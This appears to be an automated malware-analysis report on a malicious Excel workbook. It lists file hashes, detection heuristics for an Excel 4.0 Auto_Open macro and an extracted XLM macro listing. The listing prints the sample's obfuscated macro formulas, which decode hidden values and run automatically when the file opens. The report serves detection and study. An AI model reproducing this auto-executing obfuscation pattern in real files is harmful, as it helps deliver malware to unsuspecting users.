Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 68654acc73ce1ac7…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:50 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: fbb7e6edf6c50396a0ee8ed88a341b84 SHA-1: 83a6e11da9c95fd0c601957a7b47b45211ac892d SHA-256: 68654acc73ce1ac705473c85eab06d7c97fbda320c7544d6c99572b8d3ca5b8d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6808 bytes
SHA-256: f4705a4183c0254c8fe97f5ef06dc218ff2202cf1529af5399690124daa8644f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xElusMWJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E160 
' 0018     26 LABEL : Cell Value, String Constant - dTFFwCMKQQz len=0 
' 0018     23 LABEL : Cell Value, String Constant - GzJPltNX len=0 
' 0018     27 LABEL : Cell Value, String Constant - HuDouaVrTxIr len=0 
' 0018     25 LABEL : Cell Value, String Constant - JlrHgYTOYY len=0 
' 0018     20 LABEL : Cell Value, String Constant - kMzUC len=0 
' 0018     25 LABEL : Cell Value, String Constant - MTDSmnvqtv len=0 
' 0018     27 LABEL : Cell Value, String Constant - NjGMmorvgOwb len=0 
' 0018     25 LABEL : Cell Value, String Constant - nllhbQGEvX len=0 
' 0018     27 LABEL : Cell Value, String Constant - qiDjrNqgnfYc len=0 
' 0018     27 LABEL : Cell Value, String Constant - rcmfGDRqkaRD len=0 
' 0018     24 LABEL : Cell Value, String Constant - SfwKffEcK len=0 
' 0018     21 LABEL : Cell Value, String Constant - uWkwwE len=0 
' 0018     26 LABEL : Cell Value, String Constant - UYpHnrbvXgF len=0 
' 0018     24 LABEL : Cell Value, String Constant - vELUcfaDJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - xgqysbeK len=0 
' 0018     27 LABEL : Cell Value, String Constant - xzlBvrfYfGaV len=0 
' 0018     24 LABEL : Cell Value, String Constant - YbnlaKWic len=0 
' 0018     24 LABEL : Cell Value, String Constant - yekrjYgND len=0 
' 0018     22 LABEL : Cell Value, String Constant - zetfTUP len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZhuVIz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xElusMWJ,E63,"SET.NAME("GzJPltNX",0+VALUE("0"))",""
'  xElusMWJ,E67,"SET.NAME("xgqysbeK",GzJPltNX)",""
'  xElusMWJ,T67,"",889.00000000000000000000
'  xElusMWJ,T68,"",-700.00000000000000000000
'  xElusMWJ,T69,"",892.00000000000000000000
'  xElusMWJ,T70,"",661.00000000000000000000
'  xElusMWJ,E71,"SET.NAME("HuDouaVrTxIr",GzJPltNX)",""
'  xElusMWJ,T71,"",-510.00000000000000000000
'  xElusMWJ,T72,"",627.00000000000000000000
'  xElusMWJ,E75,"SET.NAME("zetfTUP",COUNTA(xzlBvrfYfGaV))",""
'  xElusMWJ,E80,"SET.NAME("vELUcfaDJ",COUNTA(SfwKffEcK))",""
'  xElusMWJ,E85,[],""
'  xElusMWJ,E89,"SET.NAME("UYpHnrbvXgF","")",""
'  xElusMWJ,E93,"xgqysbeK",""
'  xElusMWJ,E96,"SET.NAME("qiDjrNqgnfYc",HLOOKUP("*",xzlBvrfYfGaV,xgqysbeK,FALSE))",""
'  xElusMWJ,E100,"kMzUC",""
'  xElusMWJ,E104,"SET.NAME("dTFFwCMKQQz",GzJPltNX)",""
'  xElusMWJ,E106,[],""
'  xElusMWJ,E109,"dTFFwCMKQQz",""
'  xElusMWJ,E114,"YbnlaKWic",""
'  xElusMWJ,E119,"uWkwwE",""
'  xElusMWJ,E122,"NjGMmorvgOwb",""
'  xElusMWJ,E126,"SET.NAME("yekrjYgND",VALUE(HLOOKUP("*",SfwKffEcK,NjGMmorvgOwb,FALSE)))",""
'  xElusMWJ,E128,"JlrHgYTOYY",""
'  xElusMWJ,E133,"UYpHnrbvXgF",""
'  xElusMWJ,E138,"HuDouaVrTxIr",""
'  xElusMWJ,E141,NEXT(),""
'  xElusMWJ,E146,"MTDSmnvqtv",""
'  xElusMWJ,E148,[],""
'  xElusMWJ,E153,"rcmfGDRqkaRD",""
'  xElusMWJ,E155,NEXT(),""
'  xElusMWJ,E157,RETURN(),""
'  xElusMWJ,E188,"SET.NAME("nllhbQGEvX",E63)",""
'  xElusMWJ,E192,"xzlBvrfYfGaV",""
'  xElusMWJ,E197,"SET.NAME("SfwKffEcK",R82C15)",""
'  xElusMWJ,E202,"SET.NAME("rcmfGDRqkaRD",208)",""
'  xElusMWJ,E205,"SET.NAME("ZhuVIz",5)",""
'  xElusMWJ,E207,nllhbQGEvX(),""
'  xElusMWJ,E208,HALT(),""

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